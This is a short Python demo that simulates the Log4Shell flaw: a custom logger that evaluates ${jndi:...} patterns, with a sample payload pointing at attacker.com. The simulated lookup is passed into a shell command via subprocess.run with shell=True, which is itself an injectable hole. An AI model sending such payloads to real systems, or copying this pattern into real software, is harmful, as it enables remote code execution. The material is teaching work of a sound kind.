
# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re
def log(message):
# Vulnerable: looks up JNDI-like syntax and executes
pattern = r'\$\{jndi:(.+?)\}'
for match in re.finditer(pattern, message):
lookup = match.group(1)
if lookup.startswith('ldap://'):
# Simulate connecting to LDAP and loading a class
print(f"Loading malicious class from {lookup}")
subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True) # just demo
log("User-Agent: ${jndi:ldap://attacker.com/Evil}")
A custom logging framework evaluates ${jndi:...} patterns in log messages, similar to the infamous Log4Shell vulnerability. An attacker can inject a JNDI lookup to load and execute arbitrary code from a remote server.
Run the simulation:
python log4j_sim.py
The script prints that it would load a class from the attacker’s LDAP server.